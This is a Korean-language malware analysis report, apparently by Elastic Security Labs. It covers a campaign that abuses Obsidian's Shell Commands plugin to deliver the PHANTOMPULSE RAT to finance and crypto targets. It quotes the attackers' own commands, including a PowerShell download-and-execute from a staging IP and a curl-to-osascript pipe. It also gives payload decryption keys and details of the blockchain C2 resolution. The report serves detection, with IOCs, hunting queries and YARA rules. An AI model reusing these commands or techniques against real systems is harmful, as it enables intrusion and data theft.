금고 속의 유령: 흑요석: 팬텀펄스 RAT를 전달하기 위해 악용된 옵시디언

Elastic Security Labs는 인기 있는 메모 작성 애플리케이션인 Obsidian의 합법적인 커뮤니티 플러그인 에코시스템을 악용하는 새로운 소셜 엔지니어링 캠페인을 발견했습니다. REF6598로 추적되는 이 캠페인은 링크드인과 텔레그램에서 정교한 소셜 엔지니어링을 통해 금융 및 암호화폐 분야의 개인을 표적으로 삼고 있습니다.

후속 게시글에서는 인젝션 엔진, 지속성 내부, C2 프로토콜에 대해 더 자세히 다루면서 팬텀펄스 자체에 대한 심층적인 기술적 분석을 제공할 예정입니다.

서문

Elastic Security Labs는 인기 있는 메모 작성 애플리케이션인 Obsidian을 초기 액세스 벡터로 악용하는 새로운 소셜 엔지니어링 캠페인을 발견했습니다. REF6598로 추적되는 이 캠페인은 링크드인과 텔레그램에서 정교한 소셜 엔지니어링을 통해 금융 및 암호화폐 분야의 개인을 표적으로 삼고 있습니다. 위협 행위자는 옵시디언의 합법적인 커뮤니티 플러그인 에코시스템, 특히 쉘 커맨드히더 플러그인을 악용하여 피해자가 공유 클라우드 저장소를 열 때 코드를 자동으로 실행합니다.

관찰된 침입에서 Elastic Defend는 공격을 초기 단계에서 탐지하고 차단하여 위협 행위자가 피해자의 컴퓨터에서 목표를 달성하지 못하도록 막았습니다.

공격 체인은 크로스 플랫폼으로, Windows와 macOS 전용 실행 경로가 있습니다. Windows에서는 중간 로더가 AES-256-CBC, 타이머 대기열 콜백 실행, 여러 분석 방지 기술을 사용하여 페이로드를 복호화하고 메모리 전체에 반사적으로 로드합니다. 이 연쇄는 블록체인 기반 C2 해상도, 모듈 스톰핑을 통한 고급 프로세스 인젝션, 고도의 AI 생성, 모든 기능을 갖춘 백도어인 PHANTOMPULSE라고 명명한 이전에 문서화되지 않은 RAT의 배포에서 정점을 찍습니다. macOS의 경우, 이 공격은 텔레그램 기반 폴백 C2 해결 메커니즘과 함께 난독화된 애플스크립트 드로퍼를 배포합니다.

이 게시물에서는 소셜 엔지니어링부터 최종 페이로드 분석까지 전체 공격 체인을 자세히 설명하고 탐지 지침과 침해 지표를 제공합니다.

핵심 사항

  • 팬텀펄스는 이더리움 거래 데이터와 고유한 주입 기술을 통한 블록체인 기반 C2 해결을 특징으로 하는 새로운 AI 지원 Windows RAT입니다.
  • 우리는 응답자가 임플란트를 탈취할 수 있는 C2 메커니즘의 약점을 확인했습니다.
  • 옵시디언은 초기 액세스 소셜 엔지니어링 공격에 악용되었습니다.
  • 윈도우와 맥OS를 모두 타깃으로 하는 크로스 플랫폼 공격 체인
  • macOS 페이로드는 폴백 C2 해상도를 위해 텔레그램 데드드롭과 함께 다단계 애플스크립트 드롭퍼를 사용합니다.
  • 팬텀풀은 팬텀펄스를 제공하는 맞춤형 인메모리 로더입니다.

캠페인 개요

위협 행위자는 벤처 캐피탈 회사로 위장하여 활동하며 LinkedIn을 통해 표적과 접촉을 시작합니다. 초기 참여 후, 대화는 여러 명의 파트너가 참여하는 텔레그램 그룹으로 이동하여 상호 작용에 신뢰성을 부여합니다. 이 논의는 금융 서비스, 특히 암호화폐 유동성 솔루션을 중심으로 진행되며, 그럴듯한 비즈니스 맥락을 만들어냅니다.

대상은 공유 대시보드에 액세스하기 위해 회사의 "관리 데이터베이스(")로 제공되는 Obsidian을 사용하도록 요청받습니다. 공격자가 제어하는 클라우드 호스팅 볼트에 연결할 수 있는 자격 증명이 대상에게 제공됩니다.

이 볼트는 초기 액세스 벡터입니다. 옵시디언에서 대상을 열면 커뮤니티 플러그인 동기화를 사용하도록 설정하라는 메시지가 표시됩니다. 그 후 트로이 목마에 감염된 플러그인은 공격 체인을 조용히 실행합니다.

최초 침투

Obsidian을 부모 프로세스로 사용하는 의심스러운 PowerShell 실행 시 트리거되는 Elastic Defend 동작 경보입니다. 이는 즉시 저희의 관심을 끌었습니다. 처음에는 옵시디언으로 가장한 신뢰할 수 없는 바이너리가 의심되었습니다. 그러나 상위 프로세스 코드 서명과 해시를 검사한 결과, 합법적인 옵시디언 바이너리인 것으로 나타났습니다.

프로세스 이벤트 호출 스택을 피벗하여 타사 DLL 사이드로드 또는 백업되지 않은 메모리 영역이 관련되어 있는지 확인한 결과, 프로세스 생성은 Obsidian 자체에서 직접 시작되었음을 확인했습니다.

그런 다음 주변 파일을 조사하여 종속성 파일 또는 악성 .asar 파일 수정을 통한 JavaScript 삽입 징후를 확인했습니다. 파일 심기. 모든 것이 타사 코드 없이 깨끗하고 합법적인 옵시디언 설치로 보였습니다. 그 시점에서 저희는 직접 옵시디언을 설치하여 공격자가 명령 실행을 위해 어떤 옵션을 악용할 수 있는지 살펴보기로 했습니다.

가장 먼저 눈에 띄는 것은 이메일과 비밀번호로 옵시디언과 동기화된 볼트에 로그인할 수 있는 기능입니다.

Obsidian의 볼트 동기화 기능을 사용하면 여러 장치와 플랫폼에서 노트와 파일을 동기화할 수 있습니다. 흑요석 아래의 악성 원격 저장소의 파일을 검토하는 동안 config 폴더에서 셸 커맨드 커뮤니티 플러그인이 설치되었다는 증거를 발견했습니다:

C:\Users\user\Documents\<redacted_vault_name>\.obsidian\plugins\obsidian-shellcommands\data.json

셸 명령 플러그인을 사용하면 옵시디언 시작, 닫기, N초마다 등 구성 가능한 트리거에 따라 플랫폼별 셸 명령을 실행할 수 있습니다.

데이터.json의 내용을 확인한 결과, 구성된 명령이 원래 PowerShell 동작 알림에서 관찰한 것과 정확히 일치했습니다.

전체 공격 체인을 검증하기 위해 유료 Obsidian Sync 라이선스를 사용하여 호스트와 VM의 두 시스템에서 엔드투엔드 방식으로 동작을 복제해 보았습니다. 호스트에 시작 시 notepad.exe 을 생성하도록 구성된 사용자 지정 명령이 포함된 셸 명령 커뮤니티 플러그인을 설치했습니다. 가상 머신에서 동일한 Obsidian 계정으로 로그인하여 원격 볼트에 연결했습니다.

VM의 동기화된 볼트는 기본 구성 파일(app.json, appearance.json, core-plugins.json, workspace.json)을 받았지만, 특히 plugins/ 디렉토리와 community-plugins.json 가 완전히 없었습니다. 옵시디언의 동기화 설정에는 "활성 커뮤니티 플러그인 목록" 및 "설치된 커뮤니티 플러그인" 두 개의 토글이 별도로 표시되는데, 이 두 토글은 기본적으로 비활성화되어 있으며 동기화를 통해 전파되지 않는 로컬 클라이언트 측 환경설정입니다.

아래 그림과 같이 플러그인 및 community_plugins 매니페스트는 자동으로 동기화되지 않습니다(.obsidian 파일 내의 모든 파일 디렉터리).

그러나 셸 명령 플러그인을 활성화하면 볼트가 열리면 즉시 공격자가 정의한 명령이 실행됩니다:

즉, 공격자는 볼트 동기화만으로는 커뮤니티 플러그인을 원격으로 강제로 설치하거나 활성화할 수 없습니다. 피해자는 무기화된 플러그인 구성이 내려와 실행을 트리거하기 전에 장치에서 커뮤니티 플러그인 동기화를 수동으로 활성화해야 합니다.

저희가 조사한 사례에서 공격자는 소셜 엔지니어링 미끼의 일환으로 피해자에게 직접 Obsidian 계정 자격 증명을 제공하여 로그인, 커뮤니티 플러그인 동기화 활성화, 사전 준비된 볼트에 연결하도록 지시한 것으로 보입니다. 이러한 단계가 완료되면 셸 명령 플러그인과 데이터.json 구성이 자동으로 동기화되고 다음 구성된 트리거에서 추가 상호 작용 없이 페이로드가 실행됩니다.

이 공격은 커뮤니티 플러그인 동기화 경계를 넘기 위해 소셜 엔지니어링이 필요하지만, 지속성 및 명령 실행 채널로 합법적인 애플리케이션 기능을 악용하고, 페이로드가 기존 AV 서명을 트리거할 가능성이 낮은 JSON 구성 파일 내에 존재하며, 서명되고 신뢰할 수 있는 Electron 애플리케이션에서 실행을 전달하므로 상위 프로세스 기반 탐지가 중요한 계층이 된다는 점에서 여전히 주목할 만한 기법입니다.

필자는 셸 명령 플러그인과 함께 인터페이스 요소를 숨기는 UI 정리 플러그인인 Hider (v1.6.1)를 사용했습니다. 모든 숨김 옵션을 활성화한 상태의 구성은 다음과 같습니다:

{
  "hideStatus": true,
  "hideTabs": true,
  "hideScroll": true,
  "hideSidebarButtons": true,
  "hideTooltips": true,
  "hideFileNavButtons": true,
}

Windows 실행 체인

스테이지 1

셸 명령 플러그인의 Windows 명령에는 다음과 같이 디코딩되는 Base64로 인코딩된 문자열이 포함된 Invoke-Expression 호출이 두 개 포함되어 있습니다:

iwr http://195.3.222[.]251/script1.ps1 -OutFile env:TEMP\tt.ps1 -UseBasicParsing powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "env:TEMP\tt.ps1"

이렇게 하면 하드코딩된 IP 주소에서 2단계 PowerShell 스크립트가 다운로드되어 실행됩니다.

스테이지 2

다운로드한 PowerShell 스크립트(script1.ps1)는 내장된 운영자 알림 시스템으로 로더 전달 메커니즘을 구현합니다. 이 스크립트는 BitsTransfer 을 사용하여 다음 단계 바이너리를 다운로드하고 진행 상황을 C2에 보고합니다.

Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://195.3.222[.]251/syncobs.exe?q=%23OBSIDIAN' `
  -Destination "$env:TEMP\syncobs.exe"

다운로드 후 스크립트는 파일의 존재를 확인하고 그 결과를 195.3.222[.]251/stuk-phase 에서 C2 에 보고합니다. 상태 메시지에 앞에 문자(G, R)를 추가하여 GREEN 또는 RED를 상태 색상 코드로 표시합니다. 다음은 모든 상태 메시지의 표입니다:

상태 메시지의미
GFILE FOUND ON PC바이너리가 성공적으로 다운로드되었습니다.
RDOWNLOAD ERROR다운로드 실패, 재시도 중
RFATAL DOWNLOAD ERROR재시도 후 다운로드 실패
GLAUNCH SUCCESS바이너리 실행 및 하위 프로세스 탐지
RLAUNCH FAILED바이너리가 시간 초과 내에 시작하지 못했습니다.
GSESSION CLOSED실행 시퀀스 완료

각 상태 업데이트와 함께 전송되는 tag 매개변수(Obsidian)는 캠페인 또는 감염 경로를 식별하여 운영자가 여러 개의 캠페인을 동시에 실행하고 있을 수 있음을 시사합니다.

if ($started) {
    Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GLAUNCH SUCCESS"; tag = $tag }
} else {
    Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "RLAUNCH FAILED"; tag = $tag }
}
Start-Sleep -Seconds 3

Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GSESSION CLOSED"; tag = $tag }

로더 - 팬텀풀

이 로더는 자체 리소스에서 AES-256-CBC로 암호화된 PE 페이로드를 추출하여 복호화한 후 메모리에 반사적으로 로드하는 64비트 Windows PE 실행 파일입니다. 이 인메모리 페이로드는 다음 단계로 HTTPS를 통해 도메인(panel.fefea22134[.]net)에서 다운로드합니다.

그런 다음 3단계 페이로드(팬텀펄스)가 해독되고 DllRegisterServer 를 통해 반사적으로 로드됩니다. PHANTOMPULL이라고 부르는 이 로더에는 런타임 API 확인과 타이머 큐 기반 실행이 포함되어 있습니다. 이 샘플에는 사소한 형태의 회피/난독화와 데드 코드가 포함되어 있으며, 이러한 기술은 분석가가 멀웨어를 조사하는 데 시간을 낭비하는 분석 방지 트릭으로 사용됩니다.

실행 흐름

스테이지 1

스테이지 2

가짜 무결성 검사

로더는 GetTickCount() 을 16진수 값(0xFFFFFFFE)과 비교하는 데드 코드 가드를 사용하여 이상한 시작을 시작하는데, 이는 약 49.7일의 연속 시스템 가동 시간에 해당하는 값으로 사실상 도달할 수 없는 조건입니다. 보호된 블록에는 리버스 엔지니어링 중에 분석가의 시간을 낭비하지 않도록 설계된 그럴듯하지만 도달할 수 없는 변조 방지 기능이 포함되어 있습니다.

anti_tamper_integrity_checksum() 함수도 꽤 이상한데, 실제로 기본 바이트는 해시하지 않고 모든 함수 주소를 바이너리로 합산합니다. 체크섬은 어떤 것과도 비교되지 않으며, 이는 분석가의 시간을 낭비하고 바이너리를 부풀리기 위한 의도된 분석 방지 기법일 가능성이 높습니다.

API 해싱

이 로더는 djb2 해싱 알고리즘과 시드 0x4E67C6A7 를 사용하여 런타임에 API 함수를 동적으로 확인합니다. 다음 API가 해결되었습니다:

  • VirtualAlloc
  • VirtualProtect
  • VirtualFree
  • LoadLibraryA
  • GetProcessAddress

리소스 추출 + 복호화

팬텀풀은 자체 리소스 내에 암호화된 인메모리 페이로드를 저장합니다.

바이트를 추출하기 위해 FindResourceA, 를 사용하여 ID (101) 아래에서 리소스 유형 (RT_RCDATA)을 찾습니다. 리소스는 메모리에 매핑되고 PAGE_READWRITE 권한이 표시된 영역으로 복사됩니다.

다음으로 로더는 BCryptOpenAlgorithmProvider 를 사용하여 AES-256-CBC 복호화를 수행합니다. 키는 .rdata 섹션에 하드코딩되어 있습니다.

Key: 6a85736b64761a8b2aaeadc1c0087e1897d16cc5a9d49c6a6ea1164233bad206

IV도 스택에 하드코딩되어 있습니다: A6FA4ADFC20E8E6B77E2DD631DC8FF18

복호화 후 로더는 하드코딩된 값(0x0C1DF)을 사용하여 비교 인스트럭션으로 MZ 헤더 매직값을 확인하여 (0x9B92)과 XOR하여 PE 매직 헤더(0x5a4d)와 동일하게 출력값이 유효한 PE인지 검증합니다. 이것은 종종 어색하고 어울리지 않는 가벼운 난독화 노력의 한 예입니다.

실행

로더는 페이로드를 직접 호출하는 대신(샌드박스에서 쉽게 감지할 수 있음) 타이머 큐 콜백을 사용합니다. 50ms 지연과 별도 스레드 실행으로 다양한 보안/샌드박스 툴을 회피할 수 있습니다.

콜백 내부에는 반사적 PE 로딩 기능이 있으며, 이 기능은 다음 단계를 실행하는 데 사용됩니다.

이 반사적 로딩 기능은 핵심 실행 구성 요소입니다. PE 헤더를 복사하고, 각 섹션을 메모리에 매핑하고, 기본 재배치를 적용하고, 가져오기를 해결하고, 최종 섹션 보호를 설정하여 디스크를 건드리지 않는 완전한 기능의 메모리 상주 PE를 생성합니다.

그런 다음 실행은 간접적인 call rbp 명령을 통해 두 번째 단계로 전송되며, 여기서 RBP는 반사적으로 로드된 PE의 계산된 진입점 주소를 보유합니다.

두 번째 단계

두 번째 단계는 원격으로 호스팅된 페이로드(팬텀펄스)를 다운로드하고 유사한 반사 로딩 기술을 사용하여 임플란트를 발사하는 역할을 담당합니다. 이 단계는 하드코딩된 두 개의 전역 변수를 사용하여 XOR 연산으로 뮤텍스를 생성하는 것으로 시작됩니다.

이 샘플의 뮤텍스 이름은 다음과 같습니다: hVNBUORXNiFLhYYh

뮤텍스가 생성된 후 이 코드는 C2 서버에서 페이로드를 다운로드하려고 시도하는 영구 루프로 들어갑니다. 다운로드가 유효한 버퍼를 성공적으로 반환하면 다운로드가 중단되고 반사 로딩 단계로 진행됩니다.

실패 시 이 코드는 5초 절전 모드로 시작하여 재시도할 때마다 1.5배를 곱하여 5 분 미만으로 제한하는 기하급수적 백오프를 적용합니다. 이렇게 하면 네트워크 트래픽에 사소한 지문을 남길 수 있는 고정 비콘 간격을 피할 수 있습니다.

다운로더 기능은 C2와 URL을 해독하는 것으로 시작됩니다.

C2와 URL은 모두 16바이트 회전 키를 사용하는 간단한 문자열 복호화 기능(f77c8e40dfc17be5e74d8679d5b35341)을 사용하여 복호화됩니다.

다음으로 멀웨어는 URI /v1/updates/check?build=payloads 를 사용하여 문자열을 추가하고 사용자 에이전트(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36)를 설정하여 HTTPS 요청을 빌드합니다. 이 로더는 WinHTTP 라이브러리를 사용하여 포트 443 에서 C2에 연결합니다.

멀웨어는 원격 C2 URL에서 버퍼를 가져와 16바이트 XOR 키(dcf5a9b27cbeedb769ccc8635d204af9)로 페이로드를 복호화합니다.

아래는 XOR 인코딩된 페이로드의 첫 번째 바이트입니다:

아래는 XOR이 수행된 후 첫 번째 바이트입니다:

다운로드 및 XOR 작업 후, PHANTOMPULL은 페이로드를 파싱하고 DLLRegisterServer 을 사용하여 DLL을 반영합니다.

문자열을 빠르게 확인하면 주요 백도어인 PHANTOMPULSE를 확인할 수 있습니다:

쥐 - 팬텀펄스

팬텀펄스는 스텔스, 복원력, 포괄적인 원격 액세스를 위해 설계된 정교한 64비트 Windows RAT입니다. 바이너리는 AI 지원 개발의 강력한 지표를 보여줍니다: 코드 전체의 디버그 문자열이 비정상적으로 장황하고 자체 문서화되어 있으며 구조화된 단계 번호 지정 패턴을 따릅니다([STEP 1], [STEP 1/3], [STEP 2/3]).

조사 과정에서 C2 인프라에 사용자 이름, 비밀번호, 보안 문자 필드가 있는 로그인 페이지가 있는 “Phantom Panel" 이라는 이름의 공개적으로 노출된 패널이 있다는 사실을 발견했습니다. 패널의 디자인과 구조로 미루어 볼 때 이 패널 역시 인공지능이 생성한 것으로 보이며, RAT 자체에서 관찰된 개발 패턴과 일치합니다.

블록체인을 통한 C2 순환

팬텀펄스는 퍼블릭 블록체인 인프라를 데드 드롭으로 사용하여 탈중앙화된 C2 해결 메커니즘을 구현합니다. 멀웨어가 C2 URL을 얻는 주요 방법은 온체인 트랜잭션 데이터에서 이를 확인하는 것입니다. 하드코딩된 C2 URL은 반복적인 시도 후 블록체인 확인에 실패할 경우 폴백 역할을 합니다.

이 멀웨어는 세 개의 블록스카우트 인스턴스에서 이더스캔 호환 API(/api?module=account&action=txlist&address=<wallet>&page=1&offset=1&sort=desc)를 쿼리합니다:

  • eth.blockscout[.]com (이더리움 L1)
  • base.blockscout[.]com (기본 L2)
  • optimism.blockscout[.]com (낙관주의 L2)

각 요청은 하드코딩된 지갑 주소(0xc117688c530b660e15085bF3A2B664117d8672aA)와 관련된 가장 최근 트랜잭션을 가져오는데, 이 주소는 바이너리에서 XOR 암호화되어 있습니다. 악성 코드는 JSON 응답에서 트랜잭션의 input 데이터 필드를 구문 분석하고 0x 접두사를 제거한 다음 원시 바이트를 16진법으로 디코딩한 다음 지갑 주소를 XOR 키로 사용하여 결과를 XOR 복호화합니다. 복호화된 출력이 http 로 시작하면 새로운 활성 C2 URL로 받아들여집니다.

이 기술은 운영자에게 인프라에 구애받지 않는 로테이션 기능을 제공합니다. 새로운 C2 엔드포인트를 게시하려면 조작된 콜 데이터가 포함된 트랜잭션을 모니터링되는 세 개의 체인 중 하나에 있는 지갑에 제출하기만 하면 됩니다. 블록체인 거래는 변경 불가능하고 공개적으로 액세스할 수 있기 때문에 멀웨어는 중앙 집중식 인프라에 의존하지 않고도 항상 C2를 찾을 수 있습니다. 세 개의 독립적인 체인을 사용하면 하나의 체인의 탐색기가 차단되거나 사용할 수 없는 경우에도 나머지 두 개의 체인이 대체 해결 경로를 제공하므로 중복성이 추가됩니다.

하지만 이 설계에는 중대한 약점이 있습니다. 블록스카우트 API는 지갑 주소와 관련된 모든 트랜잭션을 시간 역순으로 정렬하여 전송 및 수신한 모든 트랜잭션을 반환합니다. 이 멀웨어는 거래 발신자를 확인하지 않습니다. 즉, 지갑 주소와 XOR 키(둘 다 바이너리에서 복구 가능)를 알고 있는 제3자는 경쟁 입력 페이로드가 포함된 지갑으로 트랜잭션을 생성할 수 있습니다. 멀웨어는 항상 가장 최근 트랜잭션을 선택하기 때문에, 더 최근 타임스탬프가 있는 단일 인바운드 트랜잭션이 운영자가 의도한 C2 URL을 재정의하게 됩니다. 실제로는 누구나 동일한 XOR 체계로 인코딩된 싱크홀 URL을 제출하여 C2 해상도를 탈취할 수 있으므로 감염된 모든 호스트를 공격자 인프라로부터 효과적으로 리디렉션할 수 있습니다.

C2 커뮤니케이션

PHANTOMPULSE는 C2 통신을 위해 WinHTTP를 사용하여 winhttp.dll 를 동적으로 로드하고 런타임에 필요한 모든 기능을 해결합니다. C2 인프라는 5개의 API 엔드포인트를 중심으로 구축됩니다:

엔드포인트Method목적
/v1/telemetry/reportPOST시스템 원격 측정을 통한 하트비트
/v1/telemetry/tasks/<id>get명령 가져오기
/v1/telemetry/upload/POST스크린샷/파일 업로드
/v1/telemetry/resultPOST명령 결과 전달
/v1/telemetry/keylog/POST키로그 데이터 업로드

하트비트는 CPU 모델, GPU, RAM, OS 버전, 사용자 이름, 권한 수준, 공인 IP, 설치된 AV 제품, 설치된 애플리케이션, 마지막 명령 실행 결과 등 포괄적인 시스템 원격 분석을 JSON으로 전송합니다.

Command table

명령 디스패처는 C2의 JSON 응답을 구문 분석하여 djb2 알고리즘을 통해 명령을 추출하고 해시합니다. 이 해시는 아래 의사 코드에서 볼 수 있듯이 스위치 케이스 문으로 처리되어 해당 로직을 실행합니다:

해시명령조치
0x04CF1142inject대상 프로세스에 셸코드/DLL/EXE 주입
0x7C95D91Adrop파일을 디스크에 끌어다 놓고
0x9A37F083screenshot스크린샷 캡처 및 업로드
0x08DEDEF0keylog키로거 시작/중지
0x4EE251FFuninstall전체 잔여물 제거 및 정리
0x65CCC50BelevateCOM 상승 모니커를 통해 시스템으로 에스컬레이션하기
0xB3B5B880downgrade시스템 -> 관리자 승격 전환
0x20CE3BC8<unresolved>API를 해결하고 ExitProcess(0) 자체 종료를 호출합니다.

MacOS 실행 체인

1단계: 오사스크립트를 통한 AppleScript

셸 명령 플러그인의 macOS 명령은 osascript 을 통해 Base64로 인코딩된 페이로드를 실행합니다.

디코딩된 페이로드는 두 가지 주요 작업을 수행합니다:

런치에이전트 지속성: KeepAliveRunAtLoadtrue 으로 설정된 ~/Library/LaunchAgents/com.vfrfeufhtjpwgray.plist 에 영구 LaunchAgent 플리스트를 생성하여 로그인할 때마다 2단계 페이로드가 실행되고 종료 시 다시 시작되도록 합니다.

2단계 실행: LaunchAgent는 osascript 으로 파이핑된 /bin/bash -c 을 통해 심하게 난독화된 AppleScript 드로퍼를 실행합니다.

2단계: 난독화된 AppleScript 드롭퍼

2단계 페이로드는 여러 회피 기술을 사용하는 난독화된 AppleScript 드롭퍼입니다.

문자열 난독화: 모든 민감한 문자열(도메인, URL, 사용자 에이전트 값)은 ASCII character, character id, string id 호출을 사용하여 런타임에 구성되므로 정적 문자열 추출을 방지할 수 있습니다:

property __tOlA5QTO5I : {(string id {48, 120, 54, 54, 54, 46, 105, 110, 102, 111})}
-- Decodes to: "0x666.info"

미끼 변수: 임의의 이름과 값을 가진 수많은 사용되지 않는 변수가 정의되어 엔트로피를 증가시키고 분석을 방해합니다.

조각화된 연결: 문자열이 혼합 인코딩 방식으로 분할되어 리터럴 조각과 문자 ID 조회를 결합하여 패턴 매칭을 무력화합니다.

텔레그램 폴백을 통한 C2 해상도

드롭퍼는 계층화된 C2 해상도 전략을 구현합니다:

  1. 기본: 하드코딩된 도메인 목록( 0x666[.]info 포함)을 반복하여 본문 "check" 으로 POST 요청을 전송하여 C2 가용성을 확인합니다.
  2. 폴백: 기본 도메인에 연결할 수 없는 경우, 공개 텔레그램 채널(t[.]me/ax03bot)을 스크랩하여 백업 도메인을 추출합니다.

이러한 텔레그램 데드롭 기술은 운영자가 C2 인프라를 순환할 수 있게 하여 도메인 기반 차단만으로는 불충분한 방어 수단입니다.

페이로드 검색

C2가 확인되면 스크립트는 2단계 페이로드를 다운로드하여 osascript 로 직접 파이프합니다:

curl -s --connect-timeout 5 --max-time 10 --retry 3 --retry-delay 2 -X POST <C2_URL> \
  -H "User-Agent: <spoofed Chrome UA>"-d "txid=346272f0582541ae5dd08429bb4dc4ff&bmodule"| osascript

피해자 식별자(txid)와 모듈 선택기(bmodule)가 POST 매개변수로 전송됩니다. 응답은 즉시 실행되는 또 다른 AppleScript 페이로드가 될 것으로 예상됩니다. 분석 당시 macOS 체인의 C2 서버는 오프라인 상태였기 때문에 후속 단계의 수집이 불가능했습니다.

인프라 분석

지갑 활동

하드코딩된 지갑의 온체인 활동(0xc117688c530b660e15085bF3A2B664117d8672aA)을 살펴보면 운영자의 C2 로테이션 이력을 확인할 수 있습니다. 가장 최근의 두 거래는 자체 이체(지갑에서 지갑으로)로, 각각 거래 입력 데이터에 다른 C2 URL을 인코딩합니다:

날짜(UTC)디코딩된 C2 URL
Feb 19, 2026 12:29:47https://panel.fefea22134[.]net
Feb 12, 2026 22:01:59https://thoroughly-publisher-troy-clara[.]trycloudflare[.]com

운영자가 도메인을 등록하지 않고도 Cloudflare의 인프라를 통해 로컬 서버를 노출하여 추가적인 익명성 계층을 제공할 수 있기 때문에 이전 C2 엔드포인트로 Cloudflare 터널 도메인(trycloudflare[.]com)을 사용하는 것이 주목할 만합니다.

해당 지갑은 2월 2일 12, 2026, 21:39: 47 UTC에 별도의 계좌(0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E)로 5.84달러를 이체하고 입력란(0x)이 비어 있어 순수한 자금 거래임을 확인할 수 있었습니다. 펀딩 지갑 자체는 지난 3개월 동안 약 50 거래를 수행했으며, 이는 동일한 위협 행위자가 운영하는 추가 캠페인을 발견할 수 있는 잠재적인 구심점이 될 수 있습니다.

페이로드 스테이징 서버

초기 페이로드 전송 서버( 195.3.222[.]251 )는 폴란드 호스팅 제공업체인 AS 201814 (MEVSPACE sp. z o.o.)에서 호스팅됩니다.

팬텀펄스 C2 패널

fefea22134[.]net 도메인은 Cloudflare IP(104.21.79[.]142172.67.146[.]15)로 확인되며, 이는 C2 패널이 Cloudflare의 프록시 뒤에 위치함을 나타냅니다. 과거 수동 DNS 기록에 따르면 도메인은 2026-03-12에 처음 확인되었으며, 이전 확인은 2026-03-20에 다른 IP(188.114.97[.]1188.114.96[.]1)를 가리키고 있습니다.

이 도메인은 2026-03-12에 처음 관찰된 Let's Encrypt 인증서를 사용합니다:

  • 시리얼: 5130b76e63cd41f11e6b7c2a77f203f72b4
  • 엄지 지문: 6c0a1da746438d68f6c4ffbf9a10e873f3cf0499
  • 유효성: 2026-02-19 to 2026-05-20

인증서 발급 날짜(2월 19일)는 가장 최근 블록체인 C2 순환 거래 인코딩( panel.fefea22134[.]net)과 일치하며, 이는 인프라가 C2 URL이 온체인에 게시된 당일에 프로비저닝되었음을 의미합니다.

결론

REF6598은 위협 행위자들이 신뢰할 수 있는 애플리케이션을 악용하고 표적화된 소셜 엔지니어링을 사용하여 창의적인 초기 액세스 경로를 계속 찾아내는 방법을 보여줍니다. 공격자는 소프트웨어 취약점을 악용하는 대신 Obsidian의 커뮤니티 플러그인 에코시스템을 악용하여 기존의 보안 제어를 완전히 우회하고 애플리케이션의 의도된 기능에 의존하여 임의의 코드를 실행합니다.

관찰된 침입에서 Elastic Defend는 팬텀펄스가 실행되기 전에 공격 체인을 초기 단계에서 탐지하고 차단하여 위협 행위자가 목표를 달성하지 못하도록 막았습니다. 옵시디언에서 시작된 비정상적인 프로세스 실행 시 동작 보호가 트리거되어 페이로드 전달이 중단되었습니다.

금융 및 암호화폐 분야의 조직은 합법적인 생산성 도구가 공격 벡터로 바뀔 수 있다는 점을 인식해야 합니다. 방어자는 옵시디언과 같은 애플리케이션에서 비정상적인 하위 프로세스가 생성되는지 모니터링하고 가능한 경우 애플리케이션 수준 플러그인 정책을 시행해야 합니다. 이 연구에서 제공하는 지표와 탐지 로직은 이러한 활동을 식별하고 대응하는 데 사용할 수 있습니다.

Elastic Security Labs는 관련 C2 인프라가 활성화되면 추가 macOS 페이로드를 포함한 추가 개발에 대해 REF6598을 계속 모니터링할 예정입니다.

MITRE ATT&CK

Elastic은 MITRE ATT& CK 프레임워크를 사용하여 지능형 지속적 위협이 기업 네트워크에 대해 사용하는 일반적인 전술, 기술 및 절차를 문서화합니다.

전술

전술은 기술 또는 하위 기술의 이유를 나타냅니다. 이는 적의 전술적 목표, 즉 행동을 수행하는 이유입니다.

기술

기술은 공격자가 행동을 수행하여 전술적 목표를 달성하는 방법을 나타냅니다.

REF6598 감지

탐지

이 침입 집합을 분석하는 동안 다음과 같은 탐지 규칙과 행동 방지 이벤트가 관찰되었습니다:

예방

Elastic에서 쿼리 추적

이러한 헌팅 쿼리는 옵시디언 커뮤니티 셸 명령 플러그인의 존재 여부와 그에 따른 명령 실행을 식별하는 데 사용됩니다:

KQL
event.category : file and process.name : (Obsidian or Obsidian.exe) and
 file.path : *obsidian-shellcommands*
event.category : process and event.type : start and
 process.name : (sh or bash or zsh or powershell.exe or cmd.exe) and 
 process.parent.name : (Obsidian.exe or Obsidian)
YARA

Elastic Security는 이 활동을 식별하기 위해 YARA 규칙을 만들었습니다. 다음은 팬텀풀과 팬텀펄스를식별하는 야라 규칙입니다.

rule Windows_Trojan_PhantomPull {
    meta:
        author = "Elastic Security"
        os = "Windows"
        category_type = "Trojan"
        family = "PhantomPull"
        threat_name = "Windows.Trojan.PhantomPull"
        reference_sample = "70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980"

    strings:
        $GetTickCount = { 48 83 C4 80 FF 15 ?? ?? ?? ?? 83 F8 FE 75 }
        $djb2 = { 45 8B 0C 83 41 BA A7 C6 67 4E 49 01 C9 45 8A 01 }
        $mutex = { 48 89 EB 83 E3 ?? 45 8A 2C 1C 45 32 2C 2E 45 0F B6 FD }
        $str_decrypt = { 39 C2 7E ?? 49 89 C1 41 83 E1 ?? 47 8A 1C 0A 44 32 1C 01 45 88 1C 00 48 FF C0 }
        $payload_decrypt = { 4C 89 C8 83 E0 0F 41 8A 14 02 43 30 14 0F 49 FF C1 44 39 CB }
        $url = "/v1/updates/check?build=payloads" ascii fullword
    condition:
        3 of them
}
rule Windows_Trojan_PhantomPulse {
    meta:
        author = "Elastic Security"
        os = "Windows"
        category_type = "Trojan"
        family = "PhantomPulse"
        threat_name = "Windows.Trojan.PhantomPulse"
        reference_sample = "9e3890d43366faec26523edaf91712640056ea2481cdefe2f5dfa6b2b642085d"

    strings:
        $a = "[UNINSTALL 2/6] Removing Scheduled Task..." fullword
        $b = "PhantomInject: host PID=%lu" fullword
        $c = "inject: shellcode detected -> InjectShellcodePhantom" fullword
        $d = "inject: shellcode detected, using phantom section hijack" fullword
    condition:
        all of them
}

관찰

